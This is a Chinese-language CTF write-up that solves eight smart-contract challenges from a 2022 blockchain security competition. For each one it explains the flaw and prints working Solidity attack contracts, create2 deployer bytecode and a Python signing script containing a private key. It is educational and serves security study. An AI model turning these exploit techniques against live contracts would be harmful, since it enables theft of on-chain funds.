2022中国可信链大赛初赛赛题全解

所有的题目我都放在了代码仓库,由于太长就不放入wp了,感兴趣的可自行移步。

TrusterLenderPool

分析

本次大赛的第一题,也是相对来说难度相对较低的一道题
在这里插入图片描述
目的是成功调用Complete函数,也就要求我们拿走合约的所有token0余额。
在这里插入图片描述
合约创建之初拥有10100个token,拥有两个函数,一个flashloan,一个swap。
看完合约思路就已经很清晰了,用flashloan借钱,再用swap换成token1,在swap的过程中就已经完成了flashloan还钱的操作,最后再用手中的token1换走合约中的token0即可完成攻击。

攻击

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.1;
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
contract poolAttack{
    
    
    TrusterLenderPool public pool;
    Cert public token0;
    Cert public token1;
    constructor(address _pool){
    
    
        pool = TrusterLenderPool(_pool);
        token0=pool.token0();
        token1 = pool.token1();
    }
    function loan(uint256 amount)public{
    
    
        pool.flashLoan(amount,address(this));
        token1.approve(address(pool),amount);
        pool.swap(address(token0),amount);
    }
    function receiveEther(uint256 amount)public{
    
    
        token0.approve(address(pool),amount);
        pool.swap(address(token1),amount);
    }
    // function ended(uint256 amount)public{
    
    
    //     token1.approve(address(pool),amount);
    //     pool.swap(address(token0),amount);
    // }
    fallback()external payable{
    
    }
}

直接调用loan传入10100*10**18即可完成攻击。
在这里插入图片描述

SVip

分析

在这里插入图片描述
要求我们成为SuperVip,就是要求我们成功调用promotionSVip函数
在这里插入图片描述
合约几个函数很简单,getPoint可以给我们一百个point,transferPoints可以进行point间的转账。很容易能够注意到tansferPoints使用了中间变量来存储转账前 的余额,如果我们的调用者和接受者为同一地址,就等于没扣余额。

攻击

攻击合约:

pragma solidity ^0.4.24;
import "./SVip.sol";
contract svipAttack{
    
    
    SVip sv;
    constructor(address _addr){
    
    
        sv = SVip(_addr);
    }
    function get()public{
    
    
        for(uint i =0;i<99;i++){
    
    
            sv.getPoint();
        }
    }
    function transfer()public{
    
    
        for(uint i=0;i<11;i++){
    
    
            sv.transferPoints(address(this),98);
        }
        sv.transferPoints(msg.sender,1000);
    }
}

用自己的账户调用一次getPoints,然后调用get和transfer,最后调用题目的promotionSVip即可完成攻击。
在这里插入图片描述

Merkle

分析

在这里插入图片描述
题目需要我们把合约初始化的一个ether全拿出来。
而想要取钱就需要调用withdraw函数,要成功转账则需要我们是merkleTree白名单中的一员,而合约初始化时我们肯定不在其中,这时候就需要调用setMerkleroot设定新的根节点。

此合约的onlyOwner只检查了调用者地址的前两位,很容易想到creat2来创建攻击合约。

这时候思路就很明确了,利用creat2创建跟owner前两位相同的合约,然后设定包含该地址的root,然后直接转账即可。

攻击

攻击合约:

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.7.0;
import "./Merkle.sol";
contract attack{
    
    
    Merkle merk;
    
    constructor(){
    
    
        
    }
    function init(address _addr)public{
    
    
        merk = Merkle(_addr);
    }
    function att(bytes32 root)public payable{
    
    
        bytes32[] memory proof = new bytes32[](2);
        // [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];
        proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;
        proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;
        merk.setMerkleroot(root);
    }
    function att2()public {
    
    
        bytes32[] memory proof = new bytes32[](2);
        // [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];
        proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;
        proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;
        merk.withdraw(proof,address(this));
    }
    function figure()public returns(bytes32){
    
    
        bytes32[] memory proof = new bytes32[](2);
        // [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];
        proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;
        proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;
        bytes32 computedHash = keccak256(abi.encodePacked(address(this)));
        // bytes32 computedHash = msg.sender;
        for (uint256 i = 0; i < proof.length; i++) {
    
    
            bytes32 proofElement = proof[i];
            if (computedHash <= proofElement) {
    
    
                // Hash(current computed hash + current element of the proof)
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
            } else {
    
    
                // Hash(current element of the proof + current computed hash)
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            }
        }
        return computedHash;
    }
    fallback()external payable{
    
    
        
    }
}
// contract figure{
    
    
//     bytes20 public mask;
//     constructor(){
    
    
//         mask = hex"ff00000000000000000000000000000000000000";
//     }
// }

部署合约:

contract deployed{
    
    
    
    bytes contractBytecode = hex"608060405234801561001057600080fd5b5061065b806100206000396000f3fe6080604052600436106100435760003560e01c806312c973c11461004657806313b6ae4c1461007457806319ab453c1461009f57806338a39681146100f057610044565b5b005b6100726004803603602081101561005c57600080fd5b8101908080359060200190929190505050610107565b005b34801561008057600080fd5b5061008961025a565b6040518082815260200191505060405180910390f35b3480156100ab57600080fd5b506100ee600480360360208110156100c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061040d565b005b3480156100fc57600080fd5b50610105610450565b005b6000600267ffffffffffffffff8111801561012157600080fd5b506040519080825280602002602001820160405280156101505781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b8160008151811061018357fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b816001815181106101bf57fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c439836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561023e57600080fd5b505af1158015610252573d6000803e3d6000fd5b505050505050565b600080600267ffffffffffffffff8111801561027557600080fd5b506040519080825280602002602001820160405280156102a45781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106102d757fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061031357fe5b602002602001018181525050600030604051602001808273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120905060005b825181101561040457600083828151811061037d57fe5b602002602001015190508083116103c457828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506103f6565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b508080600101915050610366565b50809250505090565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600267ffffffffffffffff8111801561046a57600080fd5b506040519080825280602002602001820160405280156104995781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106104cc57fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061050857fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019060200280838360005b838110156105c05780820151818401526020810190506105a5565b505050509050019350505050602060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b505050506040513d602081101561061057600080fd5b8101908080519060200190929190505050505056fea2646970667358221220372540e23ad43e92c314947c7fb63098acee553a411ffe0aa1d829d1c303b92464736f6c63430007060033";
    function deploy(bytes32 salt) public returns(address) {
    
    
    bytes memory bytecode = contractBytecode;
    address addr;
      
    assembly {
    
    
      addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }
    return addr;
}
    function getHash()public view returns(bytes32){
    
    
        return keccak256(contractBytecode);
        }
}

跟我们的思路一样,先根据脚本(同样在代码仓库中)计算出salt,利用creat2部署攻击合约,在攻击合约中先设定包含我们自己地址的root,随后调用withdraw函数即可完成攻击。
在这里插入图片描述

OwnerBuy

分析

题目需要我们的Times大于100。
整个合约中只有buy和sell函数涉及到了Times的增减,buy将我们的Times设定为1,而sell函数将我们的Times–,这里能想到下溢。

我们分别分析两个函数。
在这里插入图片描述
要调用buy就需要绕过其中的多个限制,需要owner为指定地址,且需要中间合约,并且Times为0,balance为0,msg.value=1,即可给我们100的余额,且Times为1.

其他的都很好通过,唯独需要指定地址的owner,需要我们先成为owner,再把owner转给指定地址。

在这里插入图片描述
成为owner需要我们地址的后四位为ffff,同样是利用creat2即可。
再来看sell
在这里插入图片描述
输入值大于200,creat2,Times大于0,balance大于输入值,随后会调用我们的fallback,这里很明显可以重入,且在Times为1的情况下重入一次即可发生下溢,唯一需要的就是我们的余额至少要大于四百,因为需要给合约转两次两百以上的转账。

由于每次buy都只能获得一百的余额,所以一个账户肯定是不行的,我们需要准备四个账户。
在这里插入图片描述
transfer函数也需要注意,如果接受者不是白名单的话,最大的余额不能超过一百,我们成为owner的时候需要把我们自己和合约地址设定为白名单。

攻击

攻击合约:

// 0.5.1-c8a2
// Enable optimization
pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract ownerBuyAttack{
    
    
    OwnerBuy ownerbuy;
    bool public count;
    bool public isowner;
    constructor()public payable{
    
    
    }
    function isOwner(address owner) external returns (bool){
    
    
        if(!isowner){
    
    
            isowner=true;
            return false;
        }
        isowner=false;
        return true;
    }
    function init (address _addr)public payable{
    
    
        ownerbuy = OwnerBuy(_addr);
    }
    function becomeOwner()public{
    
    
        ownerbuy.changestatus(address(this));
        ownerbuy.changeOwner();
    }
    function setWhite()public{
    
    
        ownerbuy.setWhite(address(this));
        ownerbuy.setWhite(address(ownerbuy));
    }
    function transferOwner()public{
    
    
        ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);
    }
    function buy()public{
    
    
        ownerbuy.buy.value(1)();
    }
    function sell()public{
    
    
        ownerbuy.sell(200);
    }
    function finish()public{
    
    
        ownerbuy.finish();
    }
    function()external payable{
    
    
        if(!count){
    
    
            count=true;
            ownerbuy.sell(200);
        }
    }
}
contract helper{
    
    
    OwnerBuy ownerbuy;
    
    constructor(address _addr)public{
    
    
        ownerbuy = OwnerBuy(_addr);
    }
    function buy()public payable{
    
    
        ownerbuy.buy.value(1)();
    }
    function transfer(address attacker)public{
    
    
        ownerbuy.transfer(attacker,100);
    }
}

部署合约:

contract deployed{
    
    
   
    bytes contractBytecode = hex"60806040526109eb806100136000396000f3fe6080604052600436106100915760003560e01c8063a6f2ae3a11610059578063a6f2ae3a1461027e578063d56b288914610295578063df05f42e146102ac578063ead4d3db146102c3578063f9dca989146102f257610091565b806306661abd1461017457806319ab453c146101a35780632f54bf6e146101e757806345710074146102505780637e10e9d114610267575b600060149054906101000a900460ff16610172576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561013557600080fd5b505af1158015610149573d6000803e3d6000fd5b505050506040513d602081101561015f57600080fd5b8101908080519060200190929190505050505b005b34801561018057600080fd5b50610189610309565b604051808215151515815260200191505060405180910390f35b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031c565b005b3480156101f357600080fd5b506102366004803603602081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035f565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b506102656103bc565b005b34801561027357600080fd5b5061027c61046f565b005b34801561028a57600080fd5b5061029361064a565b005b3480156102a157600080fd5b506102aa6106f3565b005b3480156102b857600080fd5b506102c161079a565b005b3480156102cf57600080fd5b506102d8610868565b604051808215151515815260200191505060405180910390f35b3480156102fe57600080fd5b5061030761087b565b005b600060149054906101000a900460ff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060159054906101000a900460ff16610398576001600060156101000a81548160ff021916908315150217905550600090506103b7565b60008060156101000a81548160ff021916908315150217905550600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561043157600080fd5b505af1158015610445573d6000803e3d6000fd5b505050506040513d602081101561045b57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561050f57600080fd5b505af1158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561060c57600080fd5b505af1158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050506040513d60208110156106df57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561075c57600080fd5b505af1158015610770573d6000803e3d6000fd5b505050506040513d602081101561078657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b50505050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561091b57600080fd5b505af115801561092f573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b5050505056fea265627a7a72315820490de0313b1ad79570c77ae043ce5fe65f40e32cd15657be89fd034ab9e52c2464736f6c63430005110032";
    function deploy(bytes32 salt) public returns(address) {
    
    
    bytes memory bytecode = contractBytecode;
    address addr;
      
    assembly {
    
    
      addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }
    return addr;
}
    function getHash()public view returns(bytes32){
    
    
        return keccak256(contractBytecode);
        }
}

首先调用init函数初始化并传入eth供后面使用,然后调用becomeOwner成为owner,然后将我们和合约地址设为白名单,随后转走owner,调用buy。
然后部署三个用来helper合约,用来拿到更多的balance,转给攻击合约辅助后面的攻击。
在这里插入图片描述
在这里插入图片描述
到这一步我们的balance应该为400,Times为1
随后再成为owner,调用sell函数即可,然后调用finish函数,合约中的钱已经被我们全部转走,完成攻击。

在这里插入图片描述

LostAssets

分析

在这里插入图片描述
题目要求我们拿走合约所有的weth。
合约提供了两种token,一种erc20也就是weth,另一种为erc20permit,也就是sweth,对weth进行了权限的封装。
在这里插入图片描述
此题重点在这个函数,他需要我们拿到对应的授权,才允许我们转走weth,乍一看好像并没有问题,但是weth本身并没有继承erc20permit
在这里插入图片描述
也就是说,验证权限的这一部分代码没有任何意义,直接跳到了下面的转账。
在这里插入图片描述
所以我们直接转账即可完成攻击。

攻击

输入对应的参数即可,hash,r,s,v等都可以随便输,完成攻击。
在这里插入图片描述
在这里插入图片描述

Storage1

分析

在这里插入图片描述
题目要求我们成为admin,并且我们的gasDeposits要很大。

合约里面好像并没有改变admin的方法,并且gasDeposits也是根据我们传入的value值进行改变的,所以我们需要另寻他路。
在这里插入图片描述
这个函数很有意思,他让我们可以随意更改storage中的值,那么很明显,我们直接通过这个函数修改admin和我们对应的gasDeposits即可。

攻击

攻击合约:

contract attack{
    
    
    function figure(address _addr)public view returns(bytes32){
    
    
        return keccak256(abi.encode(_addr,2));
    }
}

只是为了计算出我们的depositGas在存储中的位置。
在这里插入图片描述

在这里插入图片描述
第一次放入1,放入我们的地址,修改我们为admin。
第二次放入计算出的值,放入比9999999999999999999999999999999999大的数,修改我们的gas。
攻击成功。
在这里插入图片描述

FlashLoanMain

分析

在这里插入图片描述
这关要求我们的cert balance大于100个,而airdrop函数一开始就能给我们一百个,所以只要我们的余额多一点就可以了。

看完合约之后很明显能够知道,我们的目的是利用flashloan函数借钱出来,然后调用isCompleted就行了。
在这里插入图片描述
所以我们的目的就是依次通过这些require,首先第一个require需要我们获得签名,第二个require则限制了转账金额,第三个是向我们转账,第四个执行我们的回退函数,第五个需要把钱从我们手里转回去。

那么很明显,我们需要绕开的只有第一个require.
在这里插入图片描述
这里就涉及到了以太坊的签名机制,ECDSA会根据我们输入的消息哈希,以及签名来还原出地址,而签名需要用该地址的私钥对消息哈希签名得到,也就是说我们的目标就是拿到对应地址的私钥。
在这里插入图片描述
通过还原,给出的几个值,能够得到对应地址为
0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9
而这个地址经常用于web3中,所以google一下很轻松就能够获取到他的私钥,可以进行攻击了。

攻击

攻击合约:

contract attck{
    
    
    bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;
    bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;
    bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;
    uint8 public v = 0x1b;
    FlashLoanMain public flashloanAddr;
    address public flashLoanPriveder;
    Cert cert;
    function init(address _addr,address _privedor,address _cert)public {
    
    
        flashloanAddr = FlashLoanMain( _addr);
        flashLoanPriveder = _privedor;
        cert = Cert(_cert);
    }
    function figure()public view returns(address){
    
    
        return ECDSAUpgradeable.recover(msgHash,v,r,s);
    }
    function att(
        IFlashBorrower borrower,
        address token,
        uint256 amount,
        bytes memory signature
        )public{
    
    
        IFlashLoanPriveder(flashLoanPriveder).flashLoan(borrower,token,amount,signature,bytes(""));
    }
    function air()public{
    
    
        flashloanAddr.airdrop();
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool){
    
    
        flashloanAddr.Complete();
        cert.approve(flashLoanPriveder,amount);
        return true;
    }
    
}

google获取私钥后,接下来的操作就是签名,签名脚本如下:

from eth_account import Account

messagehash = "0xb4474375ee0d4abdd0612fd733942feeb646d5f85bddaff21aff4acd36c41e8d"
privatekey ="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signMessage = Account.signHash(message_hash=messagehash,
private_key=privatekey)
print("signature =",signMessage)

由于web3.js和小狐狸的签名都会在签名先加上通用前缀,而这个题并没有加上前缀而是直接进行了ecrecover,所以我选择了使用web3.py来进行签名操作。拿到签名后,把签名以及对应的参数一起放入攻击合约的att函数,即可完成攻击。
在这里插入图片描述
在这里插入图片描述

Governance

分析

在这里插入图片描述
题目要求我们成为validator后才能拿到旗。
而成为validator又需要我们的vote也就是投票数大于mster的总数的三分之二。
在这里插入图片描述
只有master的owner能进行投票,并且只能投一次,根据对应master的余额获得投票数。
masterChef简要来说就是一个拥有利率系统的代币,让人感到出人意料的是下面这个函数。
在这里插入图片描述
他的作用是用来取走所有的master,但是却使用了memory类型的变量,也就是说我取出我的钱之后,在代币池中的余额并不会减少,也就是说我们可以凭此拿走池子所有的余额。
在这里插入图片描述
而只要我们拿到一百万以上的余额,我们就可以成为owner,也就可以投票了
在这里插入图片描述
但池子的余额也只有一千万,离总余额的三分之二,也就是七千三百万还差得很远。

但master同时也是一个erc20代币,我们可以利用多个地址,在我们自己vote之后,把代币发给其他的地址,依次进行vote,很轻松能够拿到多余七千三百万的vote。

攻击

contract attack{
    
    
    MasterChef master;
    Governance gover;
    address[7]  helpers;
    address public owner;
    constructor(address _master,address _gover)public{
    
    
        master = MasterChef(_master);
        gover = Governance(_gover);
        owner = msg.sender;
    }
    function getAir()public{
    
    
        for (uint i=0;i<1000;i++){
    
    
            master.airdorp();
        }
    }
    function getOwner()public{
    
    
        master.transferOwnership(address(this));
    }
    function vode()public{
    
    
        gover.vote(owner);
    }
    function setHelpers()public{
    
    
        for(uint i=0;i<helpers.length;i++){
    
    
            helpers[i]=address(new helper(address(master),address(gover)));
        }
    }
    function getBalance()public{
    
    
        for(uint i=0;i<1000;i++){
    
    
            master.emergencyWithdraw(0);
        }
        
    }
    function transferd()public{
    
    
        master.approve(address(master),master.balanceOf(address(this)));
        master.deposit(0,master.balanceOf(address(this)));
    }
    function getVote()public{
    
    
        master.transfer(helpers[0],10000000);
        helper(helpers[0]).getOwner();
        helper(helpers[0]).vode(owner);
        for (uint i=0;i<helpers.length-1;i++){
    
    
            helper(helpers[i]).transferd(helpers[i+1]);
            helper(helpers[i+1]).getOwner();
            helper(helpers[i+1]).vode(owner);
        }
        helper(helpers[6]).transferd(address(this));
    }
}
contract helper{
    
    
    MasterChef master;
    Governance gover;
    constructor(address _master,address _gover)public{
    
    
        master = MasterChef(_master);
        gover = Governance(_gover);
    }
    function getOwner()public{
    
    
        master.transferOwnership(address(this));
    }
    function vode(address _addr)public{
    
    
        gover.vote(_addr);
    }
    function transferd(address _addr)public{
    
    
        master.transfer(_addr,10000000);
    }
}

依次调用getair,transferd,十次getbalance,getOwner,vode,setHelper,getVote函数,即可完成攻击。
在这里插入图片描述在这里插入图片描述

EverytingIsArt

分析

在这里插入图片描述
题目要求我们balance等于288.
这个题令我出乎意料,我以为最后一题应该会是最难的一题,没想到是最简单的一题。
在这里插入图片描述
直接在该函数中传入288即可。

除了这种解决方法,另两个关于hope的函数还存在重入问题,即先进行mint后改变状态变量,按理来说同样可以达成条件,但一旦重入次数超过107,就会发生gas费超标的问题,两个函数分别重入107次也达不到288,但也同样是一个漏洞。

攻击

直接在becomeAnArtist中输入288,即可完成攻击。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/128055465